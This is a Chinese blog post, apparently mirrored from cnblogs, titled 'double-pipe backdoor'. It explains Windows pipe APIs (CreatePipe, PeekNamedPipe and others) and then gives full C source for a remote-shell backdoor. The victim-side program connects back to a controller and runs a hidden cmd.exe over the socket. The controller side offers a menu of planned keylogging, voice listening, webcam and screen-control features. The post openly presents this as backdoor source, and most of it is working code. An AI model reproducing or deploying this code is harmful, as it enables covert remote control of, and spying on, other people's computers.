zoukankan      html  css  js  c++  java
  • 双管道后门

    CreatePipe() 介绍:

    功能:创建一个匿名管道,并从中得到读写管道的句柄。

    函数原型:BOOL WINAPI CreatePipe(
                      PHANDLE   hReadPipe,  // 返回一个可用于读管道数据的文件句柄。
                      PHANDLE   hWritePipe,  // 返回一个可用于写管道数据的文件句柄。
                      LPSECURITY_ATTRIBUTES lpPipeAttributes,  // 该结构用于决定该函数返回的句柄是否可被子进程继承。
                      DWORD  nSize // 管道的缓冲区大小。如果传入0 ,那么系统将使用一个默认的缓冲区大小。
                      );
    返回值:非零表示成功,零表示失败。

    SECURITY_ATTRIBUTES 结构体:

    typedef struct _SECURITY_ATTRIBUTES {
      DWORD  nLength;  // 结构体的大小。
      LPVOID lpSecurityDescriptor; // 安全描述符。如果为 NULL,则使用默认的。
      BOOL   bInheritHandle; // 安全描述的对象能否被新创建的进程继承。
    } SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES, *LPSECURITY_ATTRIBUTES;

    CreateNamedPipe() 介绍:

    功能:创建命名管道的实例, 并返回后续管道操作的句柄。

    函数原型:HANDLE CreateNamedPipe(
                      LPCSTR  lpName,   // 指定管道名,采用的形式是:“\.pipepipename”。
                      DWORD  dwOpenMode, // 打开模式。
                      DWORD  dwPipeMode,  // 管道模式。
                      DWORD  nMaxInstances,  // 管道能够创建的最大实例数量。范围(1~255)。为 255 则仅限制于系统资源。
                      DWORD  nOutBufferSize,  // 要为输出缓冲区预留的字节数,零表示用默认值。
                      DWORD  nInBufferSize, //  要为输入缓冲区预留的字节数,零表示用默认值。
                      DWORD  nDefaultTimeOut,  // 管道的默认等待超时。零表示用默认值。
                      LPSECURITY_ATTRIBUTES lpSecurityAttributes // 安全属性结构体,同上。
                     );

    返回值:如果函数成功, 则返回值是命名管道实例的服务器端的句柄。
                  如果函数失败, 则返回值为 INVALID_HANDLE_VALUE。

    WaitNamePipe() 介绍:

    功能:等待直到超时间隔结束或指定的命名管道的实例可用于连接。

    函数原型:BOOL WaitNamedPipeA(
                      LPCSTR lpNamedPipeName, // 要打开的管道名,格式“\servernamepipepipename”,

                                                                      // 如果是本地管道则servername可以使用点“.”。
                      DWORD  nTimeOut   //  等待命名管道的一个实例有效的超时时间,单位毫秒。

                                                         // 也可以是 NMPWAIT_USE_DEFAULT_WAIT,即CreateNamePipe() 设置的时间。

                                                         // NMPWAIT_WAIT_FOREVER,即等到该实例有效才返回。
                      );

    返回值:非零表示成功,零表示失败。

    PeekNamedPipe() 介绍:

    功能:将命名或匿名管道中的数据复制到缓冲区中, 而不将其从管道中移除。它还返回有关管道中数据的信息。

    函数原型:BOOL WINAPI PeekNamedPipe(
                      HANDLE  hNamedPipe,  // 管道的句柄。除了命名或匿名管道句柄,还可以使 CreateFile() 返回的文件句柄。
                      LPVOID  lpBuffer,  // 指向接收从管道读取的数据的缓冲区的指针。如果没有要读取的数据, 则此参数可以为 NULL。
                      DWORD   nBufferSize, // 由 lpBuffer 参数指定的缓冲区的大小 (以字节为单位)。
                      LPDWORD  lpBytesRead, // 指向一个接收从管道读取的字节数的变量的指针。
                      LPDWORD  lpTotalBytesAvail, // 该指针变量接收从管道中读取的总字节数
                      LPDWORD  lpBytesLeftThisMessage // 指向一个接收此消息中剩余字节数的指针变量。
                      );
    返回值:非零表示成功,零表示失败。

    ZeroMemory() 介绍:

    功能:用 0 来填充一块内存区域,将指定的内存块清零。(使用结构前清零,而不让结构的成员数值具有不确定性。)

    函数原型:void ZeroMemory(
                      PVOID  Destination,  // 指向一块准备用0来填充的内存区域的开始地址。
                      SIZE_T Length  // 准备用0来填充的内存区域的大小,按字节计算。
                      );
    返回值:无。
     
    注意:
    管道本身是一种数据结构,遵循先进先出原则。数据一旦读出后,就会在管道中自动删除。
    管道通信以管道数据结构作为内部数据存储方式,以文件系统作为数据存储媒体。
    1、将数据写入管道
         将数据写入管道使用的是 WriteFile(), 与写于普通文件方法一样。
         与文件不同的是:
         管道长度受到限制,管道满时写入操作会被阻塞。执行写操作的进程进入睡眠状态,直到管道中的数据被读取。
         管道满时,WriteFile() 的返回值为0。如果写入数据长度小于管道长度,则要求一次写入完成。
         如果写入数据长度大于管道长度,在写完管道长度的数据时,WriteFile() 同样会被阻塞。
    2、从管道读取数据
          从管道中读取数据使用的是 ReadFile(), 读取的顺序与写入的顺序相同。
          当数据被读取后, 这些数据将自动被管道清除。
          如果读取的管道为空,并且管道写入端口是打开的, ReadFile()将被阻塞。
          读取操作的进程进入睡眠状态,直到有数据写入管道为止。
    3、关闭管道
          关闭管道使用的是 CloseHandle()。
     
    DEMOCODE:(Client->Server)
    // Client
    #include<stdio.h>
    #include<string.h>
    #include<winsock.h> // winsock.h 必须要在 windows.h 之前,否则有些地方会出现未知异常。
    #include<windows.h>
    #pragma comment(lib,"ws2_32")
    #define BACKLOG 8
    SOCKET Connecting(unsigned short Port);
    int Choices();
    void CmdLine(SOCKET Socket);
    int main(void)
    {
        SOCKET Sock;
        Sock = Connecting(1314);
        
        while (true)
        {
            switch(Choices())
            {
                case 1:
                    send(Sock,"CMD",20,0);
                    CmdLine(Sock);
                    break;
                case 2:
                    send(Sock,"PHOTO",20,0);
                    break;
                case 3:
                    send(Sock,"UPLOAD",20,0);
                    break;
                case 4:
                    send(Sock,"DOWNLOAD",20,0);
                    break;
                case 5:
                    send(Sock,"KEYMONITOR",20,0);
                    break;
                case 6:
                    send(Sock,"VOICEMONITOR",20,0);
                    break;
                case 7:
                    send(Sock,"REMOTETALK",20,0);
                    break;
                case 8:
                    send(Sock,"REMOTEMONITOR",20,0);
                    break;
                case 9:
                    send(Sock,"SCREENCONTROL",20,0);
                    break;
                case 0:
                    send(Sock,"EXIT",20,0);
                    exit(0);
                default:
                   break;
            }
        }
        return 0;
    }
    
    int Choices()
    {
        int Choice;
        printf("1、CMD 终端		2、拍照
    
    ");
        printf("3、文件上传		4、文件下载
    
    ");
        printf("5、键盘记录		6、语音监听
    
    ");
        printf("7、远程会话		8、视频查看
    
    ");
        printf("9、屏幕控制		0、退出
    
    ");
        printf("Input your Choice
    ");
        scanf("%d",&Choice);
        return Choice;
    }
    
    void CmdLine(SOCKET Socket)
    {
        int num=0;
        CHAR Command[MAX_PATH]={0},Message[2048]={0};
        while(true)
        {
           printf("Input Command: 
    ");
           gets(Command);
           send(Socket, Command, MAX_PATH, 0);
           if(strcmp(Command,"exit") == 0)
               break;
           num = recv(Socket,Message,2048,0);
           Message[num] = '';
           printf("%s
    ",Message);
           ZeroMemory(Command,MAX_PATH);
           ZeroMemory(Message,2048);
        }
    }
    
    SOCKET Connecting(unsigned short Port)
    {
        SOCKET Sockfd, New_fd;
        WSADATA ws;
        struct sockaddr_in my_addr, their_addr;
        int sin_size = sizeof(struct sockaddr_in);
        if (WSAStartup(MAKEWORD(2, 2), &ws) != 0)
            return SOCKET_ERROR;
        if ((Sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET)
            return SOCKET_ERROR;
        my_addr.sin_family = AF_INET;
        my_addr.sin_port = htons(Port);
        my_addr.sin_addr.S_un.S_addr = INADDR_ANY;
    
        if (bind(Sockfd, (struct sockaddr*)&my_addr, sizeof(struct sockaddr)) == -1)
        {
            closesocket(Sockfd);
            return SOCKET_ERROR;
        }
    
        if (listen(Sockfd, BACKLOG) == SOCKET_ERROR)
        {
            closesocket(Sockfd);
            return SOCKET_ERROR;
        }
    
        printf("Connecting ...
    Watiing ...
    ");
    
        if ((New_fd = accept(Sockfd, (struct sockaddr *)&their_addr, &sin_size)) == INVALID_SOCKET)
        {
            closesocket(Sockfd);
            return SOCKET_ERROR;
        }
        printf("Connect Succeed!
    ");
        return New_fd;
    }

    ....................................................................................................................................................................

    // Server
    #include<stdio.h>
    #include<winsock.h> // winsock.h 必须要在 windows.h 之前。
    #include<Windows.h>
    #pragma comment(lib,"ws2_32")
    #define Length 2048
    SOCKET WaitConnecting(const char *ip,unsigned short Port);
    BOOL CmdLine(SOCKET Sockfd);
    int ChoiceRecv(const char *Choice);
    int main(void)
    {
    map:
        CHAR Choice[20];
        SOCKET Sock;
        Sock = WaitConnecting("127.0.0.1",1314);
    
        while(true)
        {
            if(recv(Sock,Choice,20,0) == 0)
                break;
            switch(ChoiceRecv(Choice))
            {
            case 0:
                goto map;
                break;
            case 1:
                CmdLine(Sock);
                break;
            case 2:
                break;
            case 3:
                break;
            case 4:
                break;
            case 5:
                break;
            case 6:
                break;
            case 7:
                break;
            case 8:
                break;
            case 9:
                break;
            default:
                break;
            }
        }
        return 0;
    }
    
    SOCKET WaitConnecting(const char *ip,unsigned short Port)
    {
        SOCKET Sockfd;
        struct sockaddr_in their_addr;
        WSADATA ws;
        if (WSAStartup(MAKEWORD(2, 2), &ws) != 0)
            return SOCKET_ERROR;
        if ((Sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET)
            return SOCKET_ERROR;
    
        their_addr.sin_family = AF_INET;
        their_addr.sin_port = htons(Port);
        their_addr.sin_addr.S_un.S_addr = inet_addr(ip);
    
        printf("Connecting...
    Wating...
    ");
        while (connect(Sockfd, (struct sockaddr*)&their_addr, sizeof(sockaddr_in)));
        printf("Connect Succeed!
    ");
        return Sockfd;
    }
    
    BOOL CmdLine(SOCKET Sockfd)
    {
        int n=0;
        DWORD Read,Write;
        CHAR CmdLine[MAX_PATH];
        CHAR Buffer[MAX_PATH], Message[Length];
        HANDLE hReadPipe0, hWritePipe0,hReadPipe1,hWritePipe1;
        SECURITY_ATTRIBUTES Pipeattr;
        STARTUPINFO SI;
        PROCESS_INFORMATION PI;
        Pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
        Pipeattr.lpSecurityDescriptor = 0;
        Pipeattr.bInheritHandle = TRUE;
        if(!CreatePipe(&hReadPipe0, &hWritePipe0, &Pipeattr, 0) ||
            !CreatePipe(&hReadPipe1,&hWritePipe1,&Pipeattr,0))
            return false;
    
        ZeroMemory(&SI, sizeof(SI));
        ZeroMemory(&PI, sizeof(PI));
        SI.cb = sizeof(STARTUPINFO);
        SI.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
        SI.wShowWindow = SW_HIDE;
        SI.hStdInput = hReadPipe1;
        SI.hStdOutput = SI.hStdError = hWritePipe0;
    
        GetSystemDirectory(CmdLine,sizeof(CmdLine));
        strcat(CmdLine,"\cmd.exe");
        if(!CreateProcess(CmdLine,NULL,NULL,NULL,TRUE,0,NULL,NULL,&SI,&PI))
            return false;
        Sleep(100);  // 等待延时,若不等待会出问题,有待完善。
    
        while (true)
        {
             if(Sockfd == SOCKET_ERROR)
                 return false;
             PeekNamedPipe(hReadPipe0, &Message, Length, &Read, 0, 0);
             if (Read)
             {
                memset(Message,0,Length);
                ReadFile(hReadPipe0, &Message, Read, &Read, 0);
                if(n>0)
                {
                    send(Sockfd, Message, Read,0);
                }
                n++;
             }
             if(recv(Sockfd, Buffer, MAX_PATH, 0) == 0)
                 return false;
             if(strcmp(Buffer,"exit") == 0)
                 return false;
             strcat(Buffer,"
    ");
             WriteFile(hWritePipe1,Buffer,strlen(Buffer),&Write,NULL);
             if(!Write)
                 return false;
             Sleep(100);  // 等待延时,若不等待会出问题,有待完善。
    
        }
    }
    
    int ChoiceRecv(const char *Choice)
    {
        int i;
        const char FeatureList[10][20] = {"EXIT","CMD","PHOTO","UPLOAD","DOWNLOAD","KEYMONITOR",
            "VOICEMONITOR","REMOTETALK","REMOTEMONITOR","SCREENCONTROL"};
        for(i=0;i<10;i++)
            if(!strcmp(FeatureList[i],Choice))
                return i;
        return -1;
    }

    这是双匿名管道,还有很多不完善的地方,以后会慢慢完善的,请见谅。

  • 相关阅读:
    Java中会存在内存泄漏吗,请简单描述。
    什么是类加载器
    通俗易懂 索引、单列索引、复合索引、主键、唯一索引、聚簇索引、非聚簇索引、唯一聚簇索引 的区别与联系
    Redis真的那么好用吗
    java中public,private,protected和default的区别
    聚集和非聚集索引
    我以为我对Mysql索引很了解,直到我遇到了阿里的面试官(转)
    Java中存储金额用什么数据类型
    InnoDB在MySQL默认隔离级别下解决幻读
    android应用程序第一次启动时显示引导界面
  • 原文地址:https://www.cnblogs.com/M-Anonymous/p/9470094.html
Copyright © 2011-2022 走看看